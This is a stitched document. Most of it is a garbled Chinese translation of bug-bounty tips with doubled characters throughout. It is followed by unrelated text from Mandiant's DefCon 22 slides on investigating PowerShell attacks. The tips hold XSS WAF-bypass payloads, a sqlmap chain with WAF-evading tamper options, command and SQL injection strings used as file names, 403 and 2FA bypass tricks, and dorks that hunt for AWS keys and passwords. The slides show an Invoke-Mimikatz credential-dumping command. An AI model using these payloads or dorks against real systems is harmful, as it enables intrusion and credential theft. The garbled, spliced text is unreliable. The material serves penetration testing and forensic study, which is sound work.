验室制作翻译出品 MariaDB PostreSQL MS SQL Server Percona Server Amazon Aurora MySQL 如果你需要调试SQL注⼊入或优化你的查询,这可能是⾮非常有⽤用的。 78. 绕过WAF屏蔽XSS中的 "javascript:" By @SecurityMB (compiled by @intigriti) Source: link 您是否正在通过 "javascript: "测试XSS,但它被WAF(Web应⽤用程序防⽕火墙)阻⽌止了了?试试下⾯面的绕 过。 在中间添加任意数量量的\n, \t or \r , 列列如: java\nscript: 在开头加上 \x00-\x20 的字符, 列列如: \x01javascript: 随机⼤大⼩小写,列列如: jaVAscrIpt: 为什什么这些可以⼯工作?前两个例例⼦子在有效负载字符串串中添加了了不不可打印的字符,如SOH, STX, ETX, EOT, ENQ, ACK, BEL, backspace, escape key等。这些都是ASCII表开头的特殊终端控制字符(⻅见man ascii)。 WAF有可能会以 "⼆二进制⽅方式 "处理理有效payload字符串串和不不可打印的字符。这将有望导致WAF过滤规则 不不匹配任何东⻄西,⽽而实际的Web应⽤用程序将把它作为⽂文本处理理--没有那些不不可打印的特殊字符。 这些 WAF 绕过技术真的很⽅方便便! 试着⽤用它们来混淆有效payload的任何部分,⽽而不不仅仅是 "javascript: "部分。 79. 在没有证书的 Burp Pro中Burp Intruder使⽤用 (ffuf) By @InsiderPhD (compiled by @intigriti) Source: link ⼤大家可能都知道,如果你使⽤用的是免费版的Burp Suite(社区版),在使⽤用Intruder⼯工具时,会有速度限 制。Intruder的攻击速度明显被节制,每⼀一次请求都会使攻击速度越来越慢。 使⽤用ffuf你可以轻松克服这个限制,并利利⽤用Burp的全部速度进⾏行行模糊处理理。只需在Burp中关闭Proxy Interception,然后⽤用你的wordlist运⾏行行ffuz就可以了了。 这将启动ffuf并重放Burp中每个匹配的(⾮非404)结果,在HTTP历史记录的Proxy标签中显示。 ffuf -c -w ./wordlist.txt -u https://target/FUZZ -replay-proxy http://localhost:8080 验室制作翻译出品 请注意,ffuf也有 -x 选项(HTTP代理理URL),它将导致所有的请求通过Burp,⽽而不不仅仅是匹配的请 求。 然后,你会看到所有的请求都显示在Burp中。 理理论上,wufzz等类似⼯工具的流量量也可以通过代理理达到类似的效果。如果你没有Burp Pro,但⼜又想快速 地模糊,这真的很不不错! 这⾥里里是获取ffuf的地⽅方。 https://github.com/ffuf/ffuf 80. 如何快速识别会话⽆无效问题 By @Begin_hunt Source: link 这是⼀一个快速的⼩小技巧,可以快速找到Web应⽤用程序在注销后是否正确⽆无效会话,或者是否存在缓存控 制安全问题。 1. 登录应⽤用程序 2. 浏览⽹网⻚页 3. 登出 4. 按( Alt + 左箭头 ) 按钮。 5. 如果你已经登录或者可以查看⽤用户之前导航的⻚页⾯面,那就给⾃自⼰己拍⼀一拍。 这样的应⽤用⾏行行为⾄至少可以说明P4的bug,其根本原因要么。 ffuf -c -w ./wordlist.txt -u https://target/FUZZ -x http://localhost:8080 验室制作翻译出品 不不正确的会话⽆无效(注销后cookies仍然有效)。 缺少安全标题 不不安全的缓存控制 这类BUG在学校、图书馆、⽹网吧等类似的地⽅方存在安全隐患,因为这些地⽅方的电脑经常被多⼈人重复使 ⽤用。 如果⼀一个⼈人正在浏览⼀一个有敏敏感信息的重要⻚页⾯面并注销,然后另⼀一个⼈人来点击回去(因为第⼀一个⼈人没有 关闭浏览器器),那么敏敏感数据就可能暴暴露露。 81. 使⽤用httpx轻松发现信息泄露露 By @Alra3ees Source: link 使⽤用httpx,我们可以很容易易地识别主机列列表是否暴暴露露了了⼀一些有趣的端点,如服务器器状态⻚页⾯面、诊断性⽹网 络控制台或其他⼀一些可能包含敏敏感信息的信息⻚页⾯面。这⾥里里有三种有趣的情况。 1)检查是否有主机暴暴露露了了Apache服务器器状态⻚页。 2) 检查是否有主机暴暴露露了了JBoss web控制台。 3) 检查是否有主机暴暴露露了了phpinfo调试⻚页⾯面。 所有这些情况都可能提供有价值的信息,包括⽬目标系统的敏敏感信息、配置、披露露物理理⽂文件路路径位置、内 部IP地址等。 提示。我们还可以检查更更多的端点(URI)。请看⼀一下专⻔门的 Content-discovery github 仓库,在那⾥里里可以 使⽤用这些特殊的词表来识别上述三种情况。: https://github.com/imrannissar/Content-discovery/blob/master/quickhits.txt (2376 entries) https://github.com/imrannissar/Content-discovery/blob/master/cgis.txt (3388 entries) https://github.com/imrannissar/Content-discovery/blob/master/combined.txt (8887 entries) https://github.com/imrannissar/Content-discovery/blob/master/content_discovery_all.txt (373535 entries) 82. 导致暴暴露露调试端点的收集 By @_justYnot Source: link cat hosts.txt | httpx -path /server-status?full=true -status-code -content- length cat hosts.txt | httpx -ports 80,443,8009,8080,8081,8090,8180,8443 -path /web- console/ -status-code -content-length cat hosts.txt | httpx -path /phpinfo.php -status-code -content-length -title 验室制作翻译出品 这是⼀一篇很有⻅见地的bug悬赏⼩小⽂文章,讲述了了适当的侦察可以带来怎样的收获。在这个案例例中,笔者能 够发现⼀一个敏敏感的信息披露露问题。我们可以在这⾥里里学习⼀一些技巧,看看赏⾦金金猎⼈人是如何思考的。 以下是@_justYnot的具体做法。 1. 运⾏行行 subfinder -d target.com | httprobe -c 100 > target.txt 。得到⼤大约210个⼦子域。 2. 运⾏行行 cat target.txt | aquatone -out ~aquatone/target 捕捉⽹网⻚页截图。 3. 检查每张截图,发现⼀一个有趣的⼦子域。 4. 尝试了了⼀一些bug XSS,打开重定向等,但没有任何效果。 5. 然后他决定对⽬目录进⾏行行爆破,他使⽤用了了ffuf和@DanielMiesslerSecLists中的⼀一个词表。 6. 运⾏行行 ffuf -w path/to/wordlist.txt -u https://sub.target.com/FUZZ -mc all -c - v 。 7. ⽽而在⼀一段时间后,他得到了了⼀一个端点,这个端点暴暴露露了了 /debug/pprof ,其中有很多敏敏感信息,如 调试信息、痕迹等。 8. 向公司报告了了这个问题,他们很快就修复了了这个问题,并认可了了他的⼯工作 这就是⼀一个完美的例例⼦子,为什什么⼀一个详细⽽而彻底的侦察是如此重要。 发现⼀一个暴暴露露的调试端点可以给攻击者提供关于远程系统内部⼯工作的详细信息,然后可以⽤用来进⾏行行更更有 针对性的攻击。 下⾯面是所有提到的⼯工具的链接。 https://github.com/projectdiscovery/subfinder https://github.com/danielmiessler/SecLists https://github.com/michenriksen/aquatone https://github.com/tomnomnom/httprobe https://github.com/ffuf/ffuf 83. 使⽤用Amass的ASN查找⼦子域 By @ofjaaah Source: link 这⾥里里有⼀一个强⼤大的侦察技巧,就是使⽤用OWASP Amass⼯工具找到我们⽬目标组织的⼦子域。 这就是该命令的详细作⽤用。 1. 获取⽬目标组织(如yahoo)的ASN(⾃自主系统号)列列表。 2. 只提取AS号清单,并⽤用逗号隔开。 3. 对于每⼀一个确定的ASN,找出与ASN相关的域名清单。 Amass在攻击⾯面图谱⽅方⾯面有⾮非常强⼤大的功能,它使⽤用了了许多不不同的第三⽅方API和数据源来实现其功能。它 使⽤用许多不不同的第三⽅方API和数据源来实现其功能。 amass intel -org yahoo -max-dns-queries 2500 | awk -F, '{print $1}' ORS=',' | sed 's/,$//' | xargs -P3 -I@ -d ',' amass intel -asn @ -max-dns-queries 2500 验室制作翻译出品 这⾥里里是amass的获取地点。 https://github.com/OWASP/Amass 84. 使⽤用httpx和subjs收集JavaScript⽂文件 By @ofjaaah Source: link JavaScript可以隐藏很多珍贵的信息,API、令牌、⼦子域等。 我们如何才能轻松获得⽬目标域(和⼦子域)上托管的JavaScript⽂文件列列表?看看这个超级有⽤用的单⾏行行命令 吧。 就这么简单! cat domains | httpx -silent | subjs | anew 验室制作翻译出品 该命令将通过所有指定的域,尝试访问它们并产⽣生有效的(实时)URLs。然后subjs⼯工具将施展魔法, 从URLs中提取所有JavaScript链接。 以下是这个组合⼯工作所需要的东⻄西。 https://github.com/projectdiscovery/httpx https://github.com/tomnomnom/anew https://github.com/lc/subjs 85. Unpack exposed JavaScript source map files By @nullenc0de Source: link 这⾥里里有⼀一个很酷的技巧,可以找到暴暴露露的JavaScript源码图⽂文件,并从中提取敏敏感信息。 1. 找到JavaScript⽂文件 2. 运⾏行行 ffuf -w js_files.txt -u FUZZ -mr "sourceMappingURL" 来识别定义了了源代码映射的 JavaScript⽂文件。 3. 下载源地图 4. 使⽤用unmap在本地解压。 5. 浏览配置或直接grep查找API密钥/密码 什什么是JavaScript源码图⽂文件?JavaScript源码图⽂文件是包含部署的JavaScript代码(bundle)的原始、 未压缩("unminified")、未混淆("unuglified")源代码的调试⽂文件。这些⽂文件有助于开发⼈人员远程调 试他们的代码。 现在,源码图的路路径通常指定在JavaScript⽂文件的结尾,例例如timepickerbundle.js的结尾会有这样的内 容。 使⽤用unmap⼯工具,我们可以将这些⽂文件解压成它们的原始形式,放到⼀一个⽬目录结构中,并在本地浏览它 们。 但是,请记住,JavaScript源码地图⽂文件绝对不不能在⽣生产站点上暴暴露露(上传),因为它们可能包含敏敏感信 息。因此,你很有可能只会得到⼀一堆404s,⽽而没有什什么可以解压的。 86. 14个Google dorks,可供侦察和轻松取胜 By @drok3r Source: link1, link2, link3, link4, link5, link6, link7 这⾥里里整理理了了14个有趣的Google dorks,这些Google dorks可以帮助我们侦察关于⽬目标域名的情况,也可 以找到⼀一些轻松的胜利利。 ... js code ... //# sourceMappingURL=timepickerbundle.js.map # 登录⾯面板搜索 site:target.com inurl:admin | administrator | adm | login | l0gin | wp-login # 登录⾯面板搜索 #2 验室制作翻译出品 可能确实相当有⽤用! ⼩小贴⼠士:也可以试试这些免费的优秀资源。 Google Hacking dorks maintained by Pentest-Tools. Google Hacking Database maintained by Offensive Security. 87. 寻找易易受CORS攻击的⽹网络服务器器 intitle:"login" "admin" site:target.com # 管理理⾯面板搜索 inurl:admin site:target.com # 搜索⽬目标的暴暴露露⽂文件 site:target.com ext:txt | ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv | ext:mdb # 获取打开的⽬目录(索引) intitle:"index of /" Parent Directory site:target.com # 搜索暴暴露露的管理理⽬目录 intitle:"index of /admin" site:target.com # 搜索暴暴露露的密码⽬目录 intitle:"index of /password" site:target.com # 搜索带有邮件的⽬目录 intitle:"index of /mail" site:target.com # 搜索包含密码的⽬目录 intitle:"index of /" (passwd | password.txt) site:target.com # 搜索包含.htaccess的⽬目录 intitle:"index of /" .htaccess site:target.com # 搜索带有密码的.txt⽂文件 inurl:passwd filetype:txt site:target.com # 搜索潜在的敏敏感数据库⽂文件 inurl:admin filetype:db site:target.com # 搜索⽇日志⽂文件 filetype:log site:target.com # 搜索链接到我们的⽬目标⽹网站的其他⽹网站。 link:target.com -site:target.com 验室制作翻译出品 By @ofjaaah Source: link 以下命令能够识别⽬目标域名下的任何⼦子域是否容易易受到基于跨源资源共享(CORS)的攻击。 下⾯面就来详细介绍⼀一下这个命令的作⽤用。 1. 收集⽬目标域的⼦子域(如fitbit.com)。 2. 确定有效的(活的)⼦子域,并编制URL清单。 3. 访问每个URL,并在每个请求中包含 "Origin: evil.com "HTTP头。 4. 在响应标题中寻找 "evil.com"。 5. 如果匹配,打印出来 如果我们看到类似的东⻄西,这意味着被识别的⽹网站已经错误地配置了了CORS政策,并有可能向任何任意的 第三⽅方⽹网站披露露敏敏感信息。这包括会话cookies、API密钥、CSRF令牌和其他敏敏感数据。 关于CORS攻击的更更多信息,请参⻅见PortSwigger制作的【CORS安全教程与实例例】(https://portswigger. net/web-security/cors)。 为了了使这个组合⼯工作,安装以下⼯工具。 https://github.com/tomnomnom/assetfinder https://github.com/projectdiscovery/httpx https://github.com/shenwei356/rush 88. 在Burp Suite中拦截iOS13的流量量。 By @Dark_Knight Source: link assetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush - j200 'curl -m5 -s -I -H "Origin: evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n3[0;32m[VUL TO CORS] 3[0m{}"' 2>/dev/null 验室制作翻译出品 如果你在iOS13上使⽤用Burp Suite拦截流量量时遇到问题,请尝试禁⽤用TLSv1.3。你可以通过以下任何⼀一种 ⽅方法来实现。 使⽤用以下命令⾏行行选项。 -Djdk.tls.server.protocols=TLSv1,TLSv1.1,TLSv1.2 或者在2020.8及以上版本中使⽤用以下配置。 现在拦截流量量应该没有问题了了。 89. 查找SQL注⼊入(命令组合) By @D0cK3rG33k Source: link 这5个命令可以帮助我们轻松识别⽬目标域的SQL注⼊入。 下⾯面就来详细说说是怎么回事。 1. ⾸首先,我们要找到⽬目标域名下的所有⼦子域名。 2. 接下来,我们将确定在这些⼦子域上运⾏行行的所有活着的⽹网络服务器器。 3. Waybackurls将获取Wayback机器器所知道的所有关于已识别的活着⼦子域的URLs 4. 现在我们将过滤出符合模式的URL,并有潜在的SQL注⼊入的可能性 5. 最后⼀一步是在所有识别出的潜在漏漏洞洞的URL上运⾏行行sqlmap,让它发挥它的魔⼒力力。 提示。如果你需要在这个过程中绕过WAF(⽹网络应⽤用防⽕火墙),在sqlmap中添加以下选项: subfinder -d target.com | tee -a domains cat domains | httpx | tee -a urls.alive cat urls.alive | waybackurls | tee -a urls.check gf sqli urls.check >> urls.sqli sqlmap -m urls.sqli --dbs --batch 验室制作翻译出品 这⾥里里是获得这个技巧的所有⼯工具的地⽅方。 https://github.com/projectdiscovery/subfinder https://github.com/tomnomnom/waybackurls https://github.com/projectdiscovery/httpx https://github.com/tomnomnom/gf https://github.com/1ndianl33t/Gf-Patterns (sqli patterns) 90. 在CLI中获取Bugcrowd程序的范围。 By @sw33tLie Source: link 有⼀一个新的⼯工具叫bcscope,它可以让你获得Bugcrowd平台上所有的bug赏⾦金金项⽬目的范围,包括私⼈人项 ⽬目。 你要做的就是提供你的Bugcrowd令牌,⽐比如这样。 相当⽅方便便和相当有⽤用! 在这⾥里里获取该⼯工具。 --level=5 --risk=3 -p 'item1' -- tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between, bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltol ike,greatest,ifnull2ifisnull,modsecurityversioned bcscope -t <YOUR-TOKEN-HERE> -c 2 -p 验室制作翻译出品 https://github.com/sw33tLie/bcscope 91. 初学者的GraphQL笔记 By @sillydadddy Source: link 下⾯面是由@sillydadddy为bug赏⾦金金猎⼈人整理理的GraphQL介绍101。这些信息可以帮助你快速上⼿手,熟悉 GraphQL技术。下⾯面我们就来介绍⼀一下。 1. 与REST相⽐比,GraphQL被开发者⽤用来提⾼高可⽤用性。所以⼤大多数情况下,它是在现有的REST服务上 实现的,就像⼀一个包装器器。所以有时候开发者可能不不会对所有的端点进⾏行行正确的配置! 2. 攻击GraphQL最重要的是获取模式。为此我们需要使⽤用⾃自省查询(它可能被禁⽤用)。⾃自省查询有两 个版本。所以,如果查询不不起作⽤用,不不要以为查询被禁⽤用了了--两个都试⼀一下吧! 3. 检查你是否能掌握开发⼈人员使⽤用的GraphQL控制台,例例如: /graphql/altair/playground 。等(⽤用wordlist) 4. 尝试在请求中加⼊入调试参数。 &debug=1 。 5. 查找以前的版本,例例如: v1/graphqlV2/graphql 6. ⼯工具 1. Altairweb浏览器器插件来运⾏行行你的测试。 2. Graphql-Voyager,⽤用于模式的可视化表示。 3. GraphQl raider Burp Suite插件扩展 7. 漏漏洞洞 1. IDOR(不不安全的直接对象引⽤用) 2. 授权/访问控制问题 3. GraphQL中不不安全的突变(数据修改) 4. 注⼊入,如:SQL 确实⾮非常有⽤用的GraphQL 101! 92. 将⽂文件上传与其他vulns链接起来 By @manas_hunter Source: link 在Web应⽤用程序中测试⽂文件上传功能时,可以尝试将⽂文件名设置为以下值。 ../../../tmp/lol.png —> ⽤用于路路径遍历 sleep(10)-- -.jpg —> ⽤用于SQL注⼊入 <svg onload=alert(document.domain)>.jpg/png —> ⽤用于XSS ; sleep 10; —> ⽤用于命令注⼊入 通过这些有效载荷,我们可能会触发额外的漏漏洞洞。 93. 通过GitHub dorks发现 AWS, Jira, Okta .. secrets 验室制作翻译出品 By @hunter0x7, @GodfatherOrwa Source: link1, link2 以下是@hunter0x7分享的⼀一些有⽤用的GitHub dorks,⽤用于识别亚⻢马逊AWS云相关的敏敏感信息。 这是@GodfatherOrwa分享的另⼀一个GitHub dorks,⽤用于识别其他各种凭据和机密。 提示。当你在GitHub上dorks时,也可以试试GitDorker(由@obheda12制作),它能使整个过程⾃自动化, 其中总共包含240多个dorks,可以轻松赢得bug赏⾦金金。 关于GitDorker的详细信息可以在这⾥里里找到。 也可查看相关提示BBT5-8。 94. 简单的反射XSS场景 By @_justYnot Source: link 这是⼀一个有趣的bug赏⾦金金写法,导致了了⼀一个反射XSS(通过访问链接进⾏行行跨站点脚本)。 作者能够成功地识别和利利⽤用XSS,尽管事实上应⽤用程序正在过滤⼀一些字符和关键字(可能受WAF保 护)。 Here’s what @_justYnot did in detail: 1. 运⾏行行 subfinder -d target.com | httprobe -c 100 > target.txt 。 2. 运⾏行行 cat target.txt | waybackurls | gf xss | kxss 。 3. 得到⼀一个URL,其中所有的特殊字符都没有过滤,参数为 callback= 。 4. 尝试了了⼀一些基本的XSS有效载荷,但它们不不起作⽤用,⽹网站正在过滤有效载荷中的⼀一些关键字(如脚 本和警报)。 org:Target "bucket_name" org:Target "aws_access_key" org:Target "aws_secret_key" org:Target "S3_BUCKET" org:Target "S3_ACCESS_KEY_ID" org:Target "S3_SECRET_ACCESS_KEY" org:Target "S3_ENDPOINT" org:Target "AWS_ACCESS_KEY_ID" org:Target "list_aws_accounts" "target.com" password or secret "target.atlassian" password "target.okta" password "corp.target" password "jira.target" password "target.onelogin" password target.service-now password some time only "target" 验室制作翻译出品 5. 然后他提到了了@PortSwiggerXSS攻略略(链接) 6. 在尝试了了⼀一些有效载荷后,有⼀一个以onbegin为事件的有效载荷成功了了,XSS执⾏行行成功了了! 7. 做了了⼀一个很好的报告,上个⽉月发给公司,得到了了$$的奖励。 这就是⼀一个很好的例例⼦子,为什什么我们在遇到困难的时候永远不不要放弃。当你有了了⼀一个线索,你必须继续 努⼒力力才能得到回报! 以下是@_justYnot使⽤用的⼯工具列列表。 https://github.com/projectdiscovery/subfinder https://github.com/tomnomnom/httprobe https://github.com/tomnomnom/waybackurls https://github.com/tomnomnom/gf https://github.com/1ndianl33t/Gf-Patterns (xss pattern) https://github.com/tomnomnom/hacks/tree/master/kxss 95. 500个Favicon哈希值的数据库(FavFreak) By @0xAsm0d3us Source: link 有⼀一个⾮非常酷的新项⽬目叫FavFreak,它包含了了⼤大约500个Favicon哈希值。 这在Bug Bounties、OSINT、指纹识别等过程中是⾮非常有⽤用的,因为它可以让你很容易易地识别出⼀一个特 定的URL上部署的是哪种软件。 该⼯工具允许您从URL列列表中获取Favicons,并根据它们的Favicon哈希值进⾏行行排序。使⽤用⽅方法⾮非常简单。 结果,你会看到。 哪个Favicon哈希在哪个URL上? 基于Favicon哈希值的识别软件。 摘要和统计 cat urls.txt | python3 favfreak.py -o output 验室制作翻译出品 FavFreak可以识别⼏几乎所有现在⼴广泛使⽤用的当代软件。你还可以轻松添加额外的指纹。 从这⾥里里获取FavFreak。 https://github.com/devanshbatham/FavFreak 96. XSS防⽕火墙绕过技术 By @sratarun Source: link 这⾥里里列列出了了7种有⽤用的技术,告诉我们如何绕过WAF(Web应⽤用防⽕火墙),同时利利⽤用Web应⽤用中的 XSS(跨站点脚本)。 1. 检查防⽕火墙是否只屏蔽⼩小写。 <sCRipT>alert(1)</sCRiPt> 。 2. 尝试⽤用新的⾏行行(\r\n)打破防⽕火墙的regex,也就是CRLF注⼊入。 <script>%0d%0aalert(1)</script> 。 验室制作翻译出品 3. 试试双重编码。 %2522 4. 测试递归过滤器器,如果防⽕火墙删除了了粗体字,我们将得到清晰的有效载荷。 <script>alert(1);</script>。 5. 注⼊入不不含whitespaces的锚标签。 6. 试着bullet绕过whitespaces。 <svg•onload=alert(1)>。 7. 尝试改变请求⽅方式(POST⽽而不不是GET)。 GET /?q=xss 改为 POST /q=xss 。 提示。另请查阅以前发表的关于WAF绕过的提示BBT7-5。 97. 12款安卓安全测试⼯工具列列表 By @cry__pto Source: link 这是⼀一个当今最好的Android安全测试⼯工具的集合。 1. Dex2JAR - ⼀一套⽤用于Android Dex和Java CLASS⽂文件的⼯工具。 2. ByteCodeView - Java & Android APK 逆向⼯工程套件 (反编译器器,编辑器器,调试器器等) 3. JADX - Dex转Java反编译⼯工具,⽤用于从Android Dex和APK⽂文件⽣生成Java源代码。 4. JD-GUI - ⼀一个独⽴立的图形化⼯工具,⽤用于显示来⾃自CLASS⽂文件的Java源。 5. Drozer - ⼀一个全⾯面的Android安全测试框架。 6. Baksmali - Dalvik(Android的Java)使⽤用的Dex格式的汇编器器/反汇编器器。 7. AndroGuard - ⼀一把⽤用于分析、反编译和逆转Android应⽤用程序的瑞⼠士军⼑刀。 8. ApkTool - 另⼀一个反向⼯工程Android应⽤用程序的瑞⼠士军⼑刀⼯工具。 9. QARK - ⽤用于查找多个安全相关的Android应⽤用漏漏洞洞的⼯工具。 10. AndroBugs - 另⼀一个⽤用于识别Android应⽤用程序中安全漏漏洞洞的分析⼯工具。 11. AppMon - ⽤用于监控和篡改本地macOS、iOS和Android应⽤用的系统API调⽤用的⾃自动化框架。 12. MobSF - ⼀一个⽀支持Android,iOS和Windows移动应⽤用的⼀一体化⾃自动化移动安全框架。 真的是⼀一个了了不不起的⼯工具列列表,不不仅仅是⽤用于Android应⽤用的反转!有些擅⻓长静态分析,有些⽤用于动态 分析,有些则是两者兼⽽而有之,但所有这些⼯工具都是开源且免费使⽤用的。 其中有些擅⻓长静态分析,有些⽤用于动态分析,有些则是两者兼⽽而有之,但所有这些⼯工具都是开源的,⽽而 且可以免费使⽤用 98. 绕过403和401错误的技巧 By @RathiArpeet Source: link 以下是关于如何绕过403 Forbidden和401 Unauthorized错误的提示列列表。 1. By adding headers: X-Originating-IP, X-Remote-IP, X-Client-IP, X-Forwarded-For etc. 有时,公 <a/href="j&Tab;a&Tab;v&Tab;asc&Tab;ri&Tab;pt:alert&lpar;1&rpar;"> 验室制作翻译出品 司会为那些可以访问敏敏感数据的⼈人设置IP⽩白名单。这些头信息以IP地址为值,如果所提供的IP与他 们的⽩白名单相匹配,就可以让你访问资源。 2. With unicode chars: 试着插⼊入unicode字符以绕过防卫措施. 试试例例如℀ = ca, ℁ = sa和许多其他 的(查看这⾥里里或这⾥里里). 所以,如果/cadmin被封,可以尝试访问℀dmin。更更多详情请看这个youtube 上关于unicode hacking tricks的短视频。 3. By overriding, overwriting URL with headers: 如果GET /admin给你403 Forbidden,尝试 GET /accessible(任何可访问的端点),并添加任何这些HTTP头。 X-Original-URL: /admin X-Override-URL: /admin X-Rewrite-URL: /admin 4. 尝试不不同的有效载荷。如果 "GET /admin "给你 "403 Forbidden",请尝试访问: /accessible/..;/admin /.;/admin /admin;/ /admin/~ /./admin/./ /admin?param /%2e/admin /admin# 5. ⽅方法切换。把⽅方法从GET改成POST,看看是否有收获... ... 6. 通过IP、Vhost。通过IP或Vhost访问⽹网站,获取被禁⽌止的内容。 7. Fuzzing。通过强制(模糊)⽂文件或⽬目录的⽅方式进⼀一步... 提示。还请检查以前发表的与此有关的提示。: BBT6-6, BBT4-5 and BBT4-6. 99. ⽤用Shodan找到Kubernetes。 By @Alra3ees Source: link 这⾥里里有2种简单的⽅方法,如何使⽤用ShodanCLI和httpx来识别⽬目标组织中的Kubernetes。 1. 通过product "Kubernetes"发现: 2. 通过端⼝口 "10250"发现: shodan search org:"target" product:"Kubernetes" | awk '{print $3 ":" $2}' | httpx -path /pods -content-length -status-code -title shodan search org:"target" port:"10250" | awk '{print $3 ":" $2}' | httpx -path /pods -content-length -status-code -title 验室制作翻译出品 相当⽅方便便! 请确保安装了了以下⼯工具。 https://github.com/achillean/shodan-python https://github.com/projectdiscovery/httpx 100. 多因素(2FA)认证绕过 By @N008x Source: link 这⾥里里有⼀一个有趣的提示,可以绕过Web应⽤用程序或移动应⽤用程序中的2FA。 1.在登录时总是注意到这两个HTTP请求--当2FA被启⽤用和禁⽤用时。 2. 当2FA被禁⽤用时: Request: {"email":"[email protected]","password":"abc@123","mfa":**null**,"code":""} Response: Location: https://vulnerable-site.com/user/dashboard 3. 启⽤用2FA时: Request: {"email":"[email protected]","password":"abc@123","mfa":**true**,"code":""} Response: Location: https://vulnerable-site.com/v1/proxy/authentication/authenticate 4. 现在篡改⼀一下参数,改为 "mfa":**null**,"code":"" Response: Location: https://vulnerable-site.com/user/dashboard 轻松简单的2FA绕过! 完结篇.如何成为赏⾦金金猎⼈人 By @kenanistaken Source: link 下⾯面就给⼤大家介绍⼀一下如何成为⼀一名赏⾦金金猎⼈人,以及在做赏⾦金金猎⼈人悬赏时需要注意的事项。 验室制作翻译出品 睡个好觉 学习漏漏洞洞类型(owasp) 每次专注于⼀一件事 阅读和练习 学习如何发现和利利⽤用 了了解如何分析⽹网站 看看别⼈人怎么做(报告) 学习⼀一⻔门编程语⾔言 制作⾃自⼰己的脚本 别着急 当然是⼀一个⾮非常谨慎的建议! 声明: 制作翻译由:泰阿安全实验室(Taielab)出品 Github:https://github.com/taielab 原⽂文出⾃自:https://www.infosecmatter.com/bug-bounty-tips-1/这个系列列 博客:https://blog.taielab.com 微信公众号: 验室制作翻译出品
pdf
PRESENTED BY: © Mandiant, A FireEye Company. All rights reserved. Investigating PowerShell Attacks DefCon 22 2014 August 8, 2014 Ryan Kazanciyan, Matt Hastings © Mandiant, A FireEye Company. All rights reserved. Background Case Study 2 Attacker Client Victim VPN WinRM, SMB, NetBIOS Victim workstations, servers §  Fortune 100 organization §  Compromised for > 3 years §  Active Directory §  Authenticated access to corporate VPN §  Command-and-control via §  Scheduled tasks §  Local execution of PowerShell scripts §  PowerShell Remoting © Mandiant, A FireEye Company. All rights reserved. Why PowerShell? 3 Execute commands Reflectively load / inject code Download files from the internet Enumerate files Interact with the registry Interact with services Examine processes Retrieve event logs Access .NET framework Interface with Win32 API It can do almost anything… © Mandiant, A FireEye Company. All rights reserved. §  PowerSploit §  Reconnaissance §  Code execution §  DLL injection §  Credential harvesting §  Reverse engineering §  Nishang §  Posh-SecMod §  Veil-PowerView §  Metasploit §  More to come… PowerShell Attack Tools 4 © Mandiant, A FireEye Company. All rights reserved. PowerShell Malware in the Wild 5 © Mandiant, A FireEye Company. All rights reserved. Investigation Methodology 6 evil.ps1 Local PowerShell script backdoor.ps1 Persistent PowerShell Registry File System Event Logs Memory Network Traffic Sources of Evidence WinRM PowerShell Remoting © Mandiant, A FireEye Company. All rights reserved. §  Has admin (local or domain) on target system §  Has network access to needed ports on target system §  Can use other remote command execution methods to: §  Enable execution of unsigned PS scripts §  Enable PS remoting Attacker Assumptions 7 © Mandiant, A FireEye Company. All rights reserved. Version Reference 8 2.0 3.0 4.0 Default Default (R2) Default Default Default (SP1) Default (R2 SP1) Requires WMF 4.0 Update Requires WMF 4.0 Update Requires WMF 4.0 Update Requires WMF 3.0 Update Requires WMF 3.0 Update Memory Analysis © Mandiant, A FireEye Company. All rights reserved. §  What’s left in memory on the accessed system? §  How can you find it? §  How long does it persist? Memory Analysis 10 Scenario: Attacker interacts with target host through PowerShell remoting © Mandiant, A FireEye Company. All rights reserved. WinRM Process Hierarchy 11 Invoke-Command {c:\evil.exe} Client wsmprovhost.exe svchost.exe (DcomLaunch) evil.exe wsmprovhost.exe {PS code} Victim Invoke-Command {Get-ChildItem C:\} Invoke-Mimikatz.ps1 -DumpCreds –ComputerName “victim" © Mandiant, A FireEye Company. All rights reserved. Remnants in Memory 12 wsmprovhost.exe svchost.exe (DcomLaunch) evil.exe wsmprovhost.exe {PS code} svchost.exe (WinRM) Remnants of WinRM SOAP persist Kernel Cmd history Cmd history Terminate at end of session © Mandiant, A FireEye Company. All rights reserved. How Long Will Evidence Remain? 13 wsmprovhost.exe svchost.exe (WinRM) Kernel Memory Pagefile Evidence Best source of command history, output Fragments of remoting I/O Fragments of remoting I/O Fragments of remoting I/O Retention Single remoting session Varies with # of remoting sessions Varies with memory utilization Varies with memory utilization Max Lifetime End of remoting session Reboot Reboot Varies – may persist beyond reboot © Mandiant, A FireEye Company. All rights reserved. Example: In-Memory Remnants 14 SOAP in WinRM service memory, after interactive PsSession with command: echo teststring_pssession > c:\testoutput_possession.txt © Mandiant, A FireEye Company. All rights reserved. Example: In-Memory Remnants 15 WinRM service memory - Invoke-Mimikatz.ps1 executed remotely on target host © Mandiant, A FireEye Company. All rights reserved. §  WSMan & MS PSRP Syntax /wsman.xsd <rsp:Command> <rsp:CommandLine> <rsp:Arguments> <S N="Cmd“> §  Known attacker filenames §  View context around hits §  Yes, this is painful What to Look For? 16 <rsp:CommandResponse><rsp:CommandId>""xmlns:r sp="http://schemas.microsoft.com/wbem/wsman/ 1/windows/shell"""C80927B1-C741-4E99-9F97- CBA80F23E595</a:MessageID><w:Locale xml:lang="en-US" s:mustUnderstand="false" / ><p:DataLocale xml:lang="en-US" s:mustUnderstand="false" /><p:SessionId"/ w:OperationTimeout></ s:Header><s:Body><rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/ wsman/1/windows/shell" CommandId="9A153F8A- AA3C-4664-8600- AC186539F107"><rsp:Command>prompt""/ rsp:Command><rsp:Arguments>AAAAAAAAAFkAAAAAAA AAAAMAAAajAgAAAAYQAgC2Yc+EDBrbTLq08PrufN +rij8VmjyqZEaGAKwYZTnxB+ +7vzxPYmogUmVmSWQ9IjAiPjxNUz48T2JqIE49IlBvd2V yU2hlbGwiIFJlZklkPSIxIj48TVM +PE9iaiBOPSJDbWRzIiBSZWZJZD0iMiI +PFROIFJlZklkPSIwIj48VD5TeXN0ZW0uQ29sbG . . . © Mandiant, A FireEye Company. All rights reserved. §  Timing is everything §  Challenging to recover evidence §  Many variables §  System uptime §  Memory utilization §  Volume of WinRM activity 